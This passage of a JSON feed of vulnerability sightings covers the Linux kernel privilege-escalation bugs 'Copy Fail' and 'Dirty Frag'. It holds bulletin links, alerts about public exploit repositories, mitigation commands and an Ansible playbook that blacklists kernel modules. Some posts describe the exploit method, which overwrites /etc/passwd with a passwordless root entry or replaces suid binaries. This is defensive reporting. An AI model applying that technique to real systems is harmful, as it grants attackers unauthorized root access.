\u044f\u0434\u0440\u0435 - \u0432\u043e\u043f\u0440\u043e\u0441 \u043e\u0442\u043a\u0440\u044b\u0442\u044b\u0439. \u041f\u043e\u0434\u043e\u0437\u0440\u0435\u0432\u0430\u044e - \u043d\u0435 \u043c\u0430\u043b\u043e \ud83d\udc40\n\n\n\u041c\u0438\u0442\u0438\u0433\u0430\u0446\u0438\u044f \u043f\u0440\u044f\u043c\u043e \u0441\u0435\u0439\u0447\u0430\u0441 (\u043f\u0430\u0442\u0447\u0430-\u0442\u043e \u043d\u0435\u0442):\n\n\nprintf 'install esp4 /bin/false\\ninstall esp6 /bin/false\\ninstall rxrpc /bin/false\\n' > /etc/modprobe.d/dirtyfrag.conf\nrmmod esp4 esp6 rxrpc 2>/dev/null\n\n\n\u0427\u0442\u043e \u043c\u043e\u0436\u0435\u0442 \u0441\u043b\u043e\u043c\u0430\u0442\u044c\u0441\u044f - ESP \u043c\u043e\u0434\u0443\u043b\u0438 \u043d\u0443\u0436\u043d\u044b \u0434\u043b\u044f IPsec VPN. \u0415\u0441\u043b\u0438 \u0443 \u0432\u0430\u0441 site-to-site IPsec \u0438\u043b\u0438 strongSwan - \u043f\u043e\u0434\u0443\u043c\u0430\u0439\u0442\u0435 \u0434\u0432\u0430\u0436\u0434\u044b. RxRPC \u043d\u0430 Ubuntu \u0437\u0430\u0433\u0440\u0443\u0436\u0435\u043d \u043f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, \u043d\u043e \u0440\u0435\u0430\u043b\u044c\u043d\u043e \u0435\u0433\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442 \u0442\u043e\u043b\u044c\u043a\u043e AFS (Andrew File System). \u0415\u0441\u043b\u0438 \u0443 \u0432\u0430\u0441 \u043d\u0435\u0442 AFS - \u0441\u043c\u0435\u043b\u043e \u043e\u0442\u043a\u043b\u044e\u0447\u0430\u0439\u0442\u0435\n\n\u0422\u0440\u0438 \u0433\u043e\u0434\u0430, \u0434\u0435\u0432\u044f\u0442\u044c \u043b\u0435\u0442. \u0414\u0432\u0430 \u0431\u0430\u0433\u0430 \u043b\u0435\u0436\u0430\u043b\u0438 \u0440\u044f\u0434\u043e\u043c \u0438 \u0436\u0434\u0430\u043b\u0438. \u041e\u0434\u0438\u043d \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044c, \u043e\u0434\u0438\u043d \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442, \u043e\u0434\u0438\u043d claude, \u0432\u0441\u0435 \u0434\u0438\u0441\u0442\u0440\u0438\u0431\u0443\u0442\u0438\u0432\u044b. \u0418 \u043d\u0430 \u043c\u043e\u043c\u0435\u043d\u0442 \u043f\u0443\u0431\u043b\u0438\u043a\u0430\u0446\u0438\u0438 - \u043d\u0438 \u043e\u0434\u043d\u043e\u0433\u043e \u043f\u0430\u0442\u0447\u0430. \u0412\u043e\u0442 \u0432\u0430\u043c \u0438 \u043a\u043e\u043e\u0440\u0434\u0438\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0435 \u0440\u0430\u0441\u043a\u0440\u044b\u0442\u0438\u0435", "creation_timestamp": "2026-05-08T04:56:49.000000Z"}, {"uuid": "4a4c735b-20f3-4a20-aeea-b72b392aa427", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31728", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/ubuntu-linux-kernel-multiple-vulnerabilities_20260803", "content": "", "creation_timestamp": "2026-08-03T06:31:15.431167Z"}, {"uuid": "9af15b2c-a081-44d3-a10b-3b71e48fb164", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31532", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/redhat-linux-kernel-multiple-vulnerabilities_20260508", "content": "", "creation_timestamp": "2026-05-07T20:00:00.000000Z"}, {"uuid": "da22a1f8-7fe3-447c-b298-05fb2df7112b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31402", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/redhat-linux-kernel-multiple-vulnerabilities_20260508", "content": "", "creation_timestamp": "2026-05-07T20:00:00.000000Z"}, {"uuid": "9835aa99-45da-4ff1-ac4c-c3322a7019a4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31419", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/redhat-linux-kernel-multiple-vulnerabilities_20260508", "content": "", "creation_timestamp": "2026-05-07T20:00:00.000000Z"}, {"uuid": "3e7526eb-8cb9-4871-9b6d-fa432147d75f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/redhat-linux-kernel-multiple-vulnerabilities_20260508", "content": "", "creation_timestamp": "2026-05-07T20:00:00.000000Z"}, {"uuid": "0b62c7a8-432e-40aa-adb5-f33ae3a22813", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://gist.github.com/inmediasit/a0387a5d338969501c2ef41d5886397d", "content": "---\n# Mitigation for \"Dirty Frag\" (xfrm-ESP Page-Cache Write + RxRPC Page-Cache Write LPE)\n# https://dirtyfrag.io / https://github.com/V4bel/dirtyfrag\n#\n# Apply:  ansible-playbook playbooks/dirtyfrag-mitigation.yml\n# Remove: once the vendor kernel is patched, delete the modprobe conf and reload modules.\n#\n# NOTE: Unlike Copy Fail (CVE-2026-31431), the algif_aead / AF_ALG mitigation is\n# NOT sufficient here.  The xfrm-ESP sink is reachable regardless of algif_aead.\n# This playbook can be applied in addition to the Copy Fail playbook.\n#\n# Affected: kernels >= cac2661c53f3 (2017-01-17) for esp4/esp6\n#                   >= 2dc334f1a63a (2023-06)    for rxrpc\n# Tested on: Ubuntu 24.04, RHEL/AlmaLinux 10, Fedora 44, openSUSE Tumbleweed, CentOS Stream 10\n\n- hosts: all\n  gather_facts: true\n  become: yes\n\n  tasks:\n    # ------------------------------------------------------------------ #\n    # 1. Block the three vulnerable modules via modprobe blacklist         #\n    # ------------------------------------------------------------------ #\n\n    - name: Install modprobe blacklist for esp4, esp6, rxrpc\n      ansible.builtin.copy:\n        dest: /etc/modprobe.d/dirtyfrag.conf\n        owner: root\n        group: root\n        mode: '0644'\n        content: |\n          # Dirty Frag mitigation \u2014 block vulnerable kernel modules.\n          # xfrm-ESP Page-Cache Write (esp4/esp6) and RxRPC Page-Cache Write (rxrpc)\n          # Remove once the vendor kernel ships a fix.\n          install esp4  /bin/false\n          install esp6  /bin/false\n          install rxrpc /bin/false\n\n    # ------------------------------------------------------------------ #\n    # 2. Unload the modules if currently loaded                           #\n    #    (rmmod fails gracefully when the module isn't present)           #\n    # ------------------------------------------------------------------ #\n\n    - name: Unload rxrpc if loaded\n      community.general.modprobe:\n        name: rxrpc\n        state: absent\n      ignore_errors: true\n\n    - name: Unload esp6 if loaded\n      community.general.modprobe:\n        name: esp6\n        state: absent\n      ignore_errors: true\n\n    - name: Unload esp4 if loaded\n      community.general.modprobe:\n        name: esp4\n        state: absent\n      ignore_errors: true\n\n    # ------------------------------------------------------------------ #\n    # 3. Fallback: rmmod via shell for distros where community.general    #\n    #    modprobe with state=absent is not idempotent                     #\n    # ------------------------------------------------------------------ #\n\n    - name: Force-remove modules via rmmod (best-effort)\n      ansible.builtin.shell: |\n        for mod in esp4 esp6 rxrpc; do\n          if lsmod | grep -q \"^${mod} \"; then\n            rmmod \"$mod\" 2>/dev/null && echo \"removed $mod\" || echo \"could not remove $mod (in use?)\"\n          else\n            echo \"$mod not loaded\"\n          fi\n        done\n      register: rmmod_result\n      changed_when: \"'removed' in rmmod_result.stdout\"\n\n    - name: Show rmmod output\n      ansible.builtin.debug:\n        msg: \"{{ rmmod_result.stdout_lines }}\"\n\n    # ------------------------------------------------------------------ #\n    # 4. Regenerate initramfs so the blacklist survives a reboot          #\n    #    (distro-aware: update-initramfs on Debian/Ubuntu,                #\n    #     dracut on RHEL/Fedora/SUSE)                                     #\n    # ------------------------------------------------------------------ #\n\n    - name: Regenerate initramfs (Debian/Ubuntu)\n      ansible.builtin.command: update-initramfs -u -k all\n      when: ansible_os_family == \"Debian\"\n      changed_when: true\n\n    - name: Regenerate initramfs (RHEL / Fedora / AlmaLinux / CentOS / SUSE)\n      ansible.builtin.command: dracut --force --regenerate-all\n      when: ansible_os_family in [\"RedHat\", \"Suse\"]\n      changed_when: true\n\n    # ------------------------------------------------------------------ #\n    # 5. Verification                                                     #\n    # ------------------------------------------------------------------ #\n\n    - name: Verify modprobe blacklist is in place\n      ansible.builtin.command: cat /etc/modprobe.d/dirtyfrag.conf\n      register: modprobe_conf\n      changed_when: false\n      failed_when: >\n        \"install esp4\"  not in modprobe_conf.stdout or\n        \"install esp6\"  not in modprobe_conf.stdout or\n        \"install rxrpc\" not in modprobe_conf.stdout\n\n    - name: Verify esp4 is not loaded\n      ansible.builtin.shell: lsmod | grep -q '^esp4 ' && echo LOADED || echo NOT_LOADED\n      register: esp4_check\n      changed_when: false\n      failed_when: esp4_check.stdout == \"LOADED\"\n\n    - name: Verify esp6 is not loaded\n      ansible.builtin.shell: lsmod | grep -q '^esp6 ' && echo LOADED || echo NOT_LOADED\n      register: esp6_check\n      changed_when: false\n      failed_when: esp6_check.stdout == \"LOADED\"\n\n    - name: Verify rxrpc is not loaded\n      ansible.builtin.shell: lsmod | grep -q '^rxrpc ' && echo LOADED || echo NOT_LOADED\n      register: rxrpc_check\n      changed_when: false\n      failed_when: rxrpc_check.stdout == \"LOADED\"\n\n    - name: Attempt to load esp4 (must fail due to blacklist)\n      ansible.builtin.command: modprobe esp4\n      register: esp4_load_attempt\n      changed_when: false\n      failed_when: esp4_load_attempt.rc == 0   # rc != 0 means blacklist worked\n\n    - name: Attempt to load rxrpc (must fail due to blacklist)\n      ansible.builtin.command: modprobe rxrpc\n      register: rxrpc_load_attempt\n      changed_when: false\n      failed_when: rxrpc_load_attempt.rc == 0\n\n    - name: Summary\n      ansible.builtin.debug:\n        msg:\n          - \"Dirty Frag mitigation applied successfully.\"\n          - \"esp4:  {{ esp4_check.stdout }}\"\n          - \"esp6:  {{ esp6_check.stdout }}\"\n          - \"rxrpc: {{ rxrpc_check.stdout }}\"\n          - \"Blacklist reboot-persistent: yes (initramfs regenerated)\"\n          - \"NOTE: If IPsec (ESP) is required in your environment, this mitigation\"\n          - \"      will break it. Apply only on hosts where ESP is not in use.\"", "creation_timestamp": "2026-05-08T06:26:34.000000Z"}, {"uuid": "86d79280-cff6-4e89-b669-4ef321526996", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31749", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/ubuntu-linux-kernel-multiple-vulnerabilities_20260803", "content": "", "creation_timestamp": "2026-08-03T06:32:07.264439Z"}, {"uuid": "6959bdf0-3643-40e9-a0e0-8cb78a2e65b6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://t.me/GithubRedTeam/83322", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a Copy-fail-CVE-2026-31431-Exploit-in-C\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a Mr-bv\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a C\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-05-08 07:57:24\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nDiscovery and original disclosure of CVE-2026-31431: Theori / Xint. Public writeup: https://copy.fail/.\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-05-08T08:00:04.000000Z"}, {"uuid": "fc7209b3-a2b1-4006-b6d2-21076f2e6e5b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31780", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/ubuntu-linux-kernel-multiple-vulnerabilities_20260803", "content": "", "creation_timestamp": "2026-08-03T06:34:19.630004Z"}, {"uuid": "0e067d22-0d08-4137-ac8c-b1a3527b8ab0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://infosec.exchange/users/decio/statuses/116538184098704690", "content": "variante peu sympa  \ud83d\udc40 \"Unprivileged Linux LPE via xfrm ESP-in-UDP MSG_SPLICE_PAGES no-COW fast path. Page-cache write into any readable file. Overwrites a nologin line in /etc/passwd with sick::0:0:...:/:/bin/bash and sus into it. Same class as Copy Fail (CVE-2026-31431), different subsystem.\"\u2b07\ufe0f https://github.com/0xdeadbeefnetwork/Copy_Fail2-Electric_Boogaloo\n#CyberVeille #Linux", "creation_timestamp": "2026-05-08T09:12:49.508433Z"}, {"uuid": "df501d99-32d4-4a91-8432-899efa354b2d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://t.me/ptescalator/718", "content": "Dirty Frag \ud83d\udc27\ud83d\udca5\n\n\u0421\u043f\u0443\u0441\u0442\u044f \u043d\u0435\u0434\u0435\u043b\u044e \u043f\u043e\u0441\u043b\u0435 \u043d\u0430\u0448\u0443\u043c\u0435\u0432\u0448\u0435\u0433\u043e Copy.Fail \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044c v4bel \u0440\u0430\u0441\u043a\u0440\u044b\u043b \u043d\u043e\u0432\u0443\u044e \u0442\u0435\u0445\u043d\u0438\u043a\u0443 \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u0438\u044f \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439 \u0432 \u044f\u0434\u0440\u0435 Linux \u2014 Dirty Frag.\n\n\u041f\u043e \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u044e \u043d\u0430 8 \u043c\u0430\u044f \u0443 Dirty Frag \u043d\u0435\u0442 CVE-\u043d\u043e\u043c\u0435\u0440\u0430 \u0438, \u0447\u0442\u043e \u0431\u043e\u043b\u0435\u0435 \u043a\u0440\u0438\u0442\u0438\u0447\u043d\u043e, \u043e\u0444\u0438\u0446\u0438\u0430\u043b\u044c\u043d\u043e\u0433\u043e \u043f\u0430\u0442\u0447\u0430 \u043e\u0442 \u043c\u0435\u0439\u043d\u0442\u0435\u0439\u043d\u0435\u0440\u043e\u0432 \u044f\u0434\u0440\u0430 \u0442\u043e\u0436\u0435 \u043d\u0435\u0442. Dirty Frag \u043e\u0442\u043d\u043e\u0441\u0438\u0442\u0441\u044f \u043a \u0442\u043e\u043c\u0443 \u0436\u0435 \u043a\u043b\u0430\u0441\u0441\u0443, \u0447\u0442\u043e Dirty Pipe \u0438 Copy.Fail, \u043d\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442 \u0434\u0440\u0443\u0433\u043e\u0439 \u043c\u0435\u0445\u0430\u043d\u0438\u0437\u043c: \u0432\u043c\u0435\u0441\u0442\u043e pipe_buffer \u0430\u0442\u0430\u043a\u0443\u0435\u0442\u0441\u044f \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0430 sk_buff.\n\n\u041e\u0431\u0449\u0438\u0435 \u043c\u0435\u0445\u0430\u043d\u0438\u0437\u043c\u044b \u0440\u0430\u0431\u043e\u0442\u044b \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0442 \u043d\u0430\u0434\u0435\u0436\u043d\u043e \u0431\u043b\u043e\u043a\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442 \u043f\u043e\u0432\u0435\u0434\u0435\u043d\u0447\u0435\u0441\u043a\u043e\u0439 \u044d\u043a\u0441\u043f\u0435\u0440\u0442\u0438\u0437\u043e\u0439 \u0432 PT Sandbox (Exploit.Linux.CVE-2022-0847.a, Exploit.Linux.CVE-2026-31431.a, Backdoor.Linux.Generic.a) \u2014 \u0441\u043c\u043e\u0442\u0440\u0438\u0442\u0435 \u043d\u0430 \u0441\u043a\u0440\u0438\u043d\u0448\u043e\u0442\u0435.\n\n\u041a\u0430\u043a \u044d\u0442\u043e \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442? \ud83e\uddd0\n\nDirty Frag \u2014 \u044d\u0442\u043e \u0446\u0435\u043f\u043e\u0447\u043a\u0430 \u0438\u0437 \u0434\u0432\u0443\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0434\u043e\u043f\u043e\u043b\u043d\u044f\u044e\u0442 \u0434\u0440\u0443\u0433 \u0434\u0440\u0443\u0433\u0430, \u0447\u0442\u043e\u0431\u044b \u043e\u0445\u0432\u0430\u0442\u0438\u0442\u044c \u0432\u0441\u0435 \u043e\u0441\u043d\u043e\u0432\u043d\u044b\u0435 \u0434\u0438\u0441\u0442\u0440\u0438\u0431\u0443\u0442\u0438\u0432\u044b:\n\n1\ufe0f\u20e3 Page-Cache Write (\u0441 2017 \u0433\u043e\u0434\u0430): \u043f\u0440\u0435\u0434\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u0434\u043b\u044f \u0437\u0430\u043f\u0438\u0441\u0438 4 \u0431\u0430\u0439\u0442 \u0432 \u043a\u044d\u0448 \u0441\u0442\u0440\u0430\u043d\u0438\u0446, \u043d\u043e \u0442\u0440\u0435\u0431\u0443\u0435\u0442 \u043f\u0440\u0430\u0432\u0430 \u043d\u0430 \u0441\u043e\u0437\u0434\u0430\u043d\u0438\u0435 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u0441\u043a\u0438\u0445 \u043f\u0440\u043e\u0441\u0442\u0440\u0430\u043d\u0441\u0442\u0432 \u0438\u043c\u0435\u043d, \u0447\u0442\u043e \u0432 \u043d\u0435\u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u0441\u0438\u0441\u0442\u0435\u043c\u0430\u0445 (\u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, Ubuntu) \u043c\u043e\u0436\u0435\u0442 \u0431\u043b\u043e\u043a\u0438\u0440\u043e\u0432\u0430\u0442\u044c\u0441\u044f AppArmor.\n\n2\ufe0f\u20e3 RxRPC Page-Cache Write (\u0441 \u0438\u044e\u043d\u044f 2023 \u0433\u043e\u0434\u0430): \u043d\u0435 \u0442\u0440\u0435\u0431\u0443\u0435\u0442 \u043f\u0440\u0430\u0432 \u043d\u0430 \u043f\u0440\u043e\u0441\u0442\u0440\u0430\u043d\u0441\u0442\u0432\u0430 \u0438\u043c\u0435\u043d, \u043d\u043e \u043c\u043e\u0434\u0443\u043b\u044c rxrpc.ko \u043f\u0440\u0438\u0441\u0443\u0442\u0441\u0442\u0432\u0443\u0435\u0442 \u0442\u043e\u043b\u044c\u043a\u043e \u0432 \u043d\u0435\u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u0434\u0438\u0441\u0442\u0440\u0438\u0431\u0443\u0442\u0438\u0432\u0430\u0445, \u0432\u043a\u043b\u044e\u0447\u0430\u044f Ubuntu, \u0433\u0434\u0435 \u043e\u043d \u0437\u0430\u0433\u0440\u0443\u0436\u0435\u043d \u043f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e.\n\n\u041e\u0431\u044a\u0435\u0434\u0438\u043d\u0438\u0432 \u0438\u0445, \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0438\u0439 \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u0442 \u0440\u0430\u0431\u043e\u0447\u0438\u0439 \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442 \u043d\u0430 \u043b\u044e\u0431\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u0435, \u0447\u0442\u043e \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442:\n\n\u2022 \u041f\u043e\u0434\u043c\u0435\u043d\u0438\u0442\u044c suid-\u0444\u0430\u0439\u043b\u044b (\u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, /usr/bin/su) \u043d\u0430 \u0441\u0432\u043e\u044e \u0432\u0435\u0440\u0441\u0438\u044e\n\u2022 \u0418\u0437\u043c\u0435\u043d\u0438\u0442\u044c /etc/passwd, \u043e\u0447\u0438\u0441\u0442\u0438\u0432 \u043f\u0430\u0440\u043e\u043b\u044c root-\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f\n\n\u041a\u0442\u043e \u043f\u043e\u0434 \u0443\u0433\u0440\u043e\u0437\u043e\u0439? \u26f3\ufe0f\n\n\u041f\u0440\u0430\u043a\u0442\u0438\u0447\u0435\u0441\u043a\u0438 \u0432\u0441\u0435 \u0441\u0438\u0441\u0442\u0435\u043c\u044b \u0441 \u044f\u0434\u0440\u043e\u043c Linux, \u0432\u044b\u043f\u0443\u0449\u0435\u043d\u043d\u044b\u0435 \u0441 2017 \u0433\u043e\u0434\u0430. \u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0434\u0438\u043b \u0440\u0430\u0431\u043e\u0442\u0443 \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u0430 \u043d\u0430 \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0445 \u0432\u0435\u0440\u0441\u0438\u044f\u0445: Ubuntu 24.04.4, RHEL 10.1, openSUSE Tumbleweed, CentOS Stream 10, AlmaLinux 10, Fedora 44 \u0438 \u0434\u0440\u0443\u0433\u0438\u0445.\n\n\u041a\u0430\u043a \u0437\u0430\u0449\u0438\u0442\u0438\u0442\u044c\u0441\u044f? \ud83d\udd27\n\n\u0422\u0430\u043a \u043a\u0430\u043a \u043e\u0444\u0438\u0446\u0438\u0430\u043b\u044c\u043d\u043e\u0433\u043e \u043f\u0430\u0442\u0447\u0430 \u043e\u0442 \u043c\u0435\u0439\u043d\u0442\u0435\u0439\u043d\u0435\u0440\u043e\u0432 \u044f\u0434\u0440\u0430 \u043f\u043e\u043a\u0430 \u043d\u0435\u0442, \u0435\u0434\u0438\u043d\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u0439 \u0441\u043f\u043e\u0441\u043e\u0431 \u0437\u0430\u0449\u0438\u0442\u044b \u2014 \u043d\u0435\u043c\u0435\u0434\u043b\u0435\u043d\u043d\u043e \u043e\u0442\u043a\u043b\u044e\u0447\u0438\u0442\u044c \u0438 \u0432\u044b\u0433\u0440\u0443\u0437\u0438\u0442\u044c \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u0435 \u043c\u043e\u0434\u0443\u043b\u0438 \u044f\u0434\u0440\u0430.\n\n\u041a\u043e\u043c\u0430\u043d\u0434\u0430 \u0434\u043b\u044f \u043e\u0442\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u044f:\n\nsh -c \"printf 'install esp4 /bin/false\\ninstall esp6 /bin/false\\ninstall rxrpc /bin/false\\n' > /etc/modprobe.d/dirtyfrag.conf; rmmod esp4 esp6 rxrpc 2>/dev/null; true\"\n\n\u041d\u0435\u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0434\u0438\u0441\u0442\u0440\u0438\u0431\u0443\u0442\u0438\u0432\u044b (\u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, AlmaLinux) \u043d\u0430\u0447\u0430\u043b\u0438 \u0432\u044b\u043f\u0443\u0441\u043a\u0430\u0442\u044c \u0441\u043e\u0431\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u0435 \u043f\u0430\u0442\u0447\u0438, \u043d\u0435 \u0434\u043e\u0436\u0438\u0434\u0430\u044f\u0441\u044c \u0430\u043f\u0441\u0442\u0440\u0438\u043c\u0430.\n\n#avlab #cve #linux #sandbox\n@ptescalator (X, Max)", "creation_timestamp": "2026-05-08T09:08:22.000000Z"}, {"uuid": "f34800b1-8526-44be-a8bc-6a4496c43b19", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://thehackernews.com/2026/05/linux-kernel-dirty-frag-lpe-exploit.html", "content": "Details have emerged about a new, unpatched local privilege escalation (LPE) vulnerability impacting the Linux kernel.\nDubbed Dirty Frag, it has been described as a successor to Copy Fail (CVE-2026-31431, CVSS score: 7.8), a recently disclosed LPE flaw impacting the Linux kernel that has since come under active exploitation in the wild. The vulnerability was reported to Linux kernel maintainers", "creation_timestamp": "2026-05-08T03:12:00.000000Z"}, {"uuid": "20d97009-57a9-43ca-b437-50c61799a76b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://gist.github.com/morrolinux/a11e43c7ab528b0c93ce2bb35b28bbd9", "content": "", "creation_timestamp": "2026-05-08T10:50:12.000000Z"}, {"uuid": "aab18365-c7bf-414b-8426-92d3e00900b5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://t.me/GithubRedTeam/83333", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a c-copy-fail\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a OpenPixelSystems\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a C\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-05-08 09:52:07\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nCVE-2026-31431 in C for aarch64 and amd64\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-05-08T10:00:04.000000Z"}, {"uuid": "2d6313df-a75e-480d-b381-a2d3e1ac96c3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31588", "type": "seen", "source": "https://bsky.app/profile/keiwork35.bsky.social/post/3mldldt32dt2m", "content": "\u3010\u8106\u5f31\u6027\u60c5\u5831\u3011 CVE-2026-31588 linux\u306elinux\u00a0kernel\u306e\u8106\u5f31\u6027\u306b\u3064\u3044\u3066\n\nLinux kernel \u306b\u304a\u3044\u3066\u3001KVM: x86 \u306e\u30a8\u30df\u30e5\u30ec\u30fc\u30c8\u3055\u308c\u305f MMIO \u66f8\u304d\u8fbc\u307f\u51e6\u7406\u306b use-after-free \u304c\u767a\u751f\u3059\u308b\u8106\u5f31\u6027 CVE-2026-31588 \u304c\u4fee\u6b63\u3055\u308c\u307e\u3057\u305f\u3002", "creation_timestamp": "2026-05-08T11:02:04.269662Z"}, {"uuid": "ef3fe5fb-5f3f-460f-87c5-6fa0b532e8b4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/anupyadav.bsky.social/post/3mldlykjmrs2n", "content": "Linux Kernel CVE-2026-31431 Explained in Simple Terms\ntechrefreshing.com/linux-kernel...\n#Linux #CyberSecurity #CVE #LinuxKernel #CloudSecurity #DevOps #Kubernetes #InfoSec #SysAdmin #OpenSource", "creation_timestamp": "2026-05-08T11:13:41.557317Z"}, {"uuid": "a0c1f0de-f20d-4816-b821-ce87660a26d1", "vulnerability_lookup_origin": 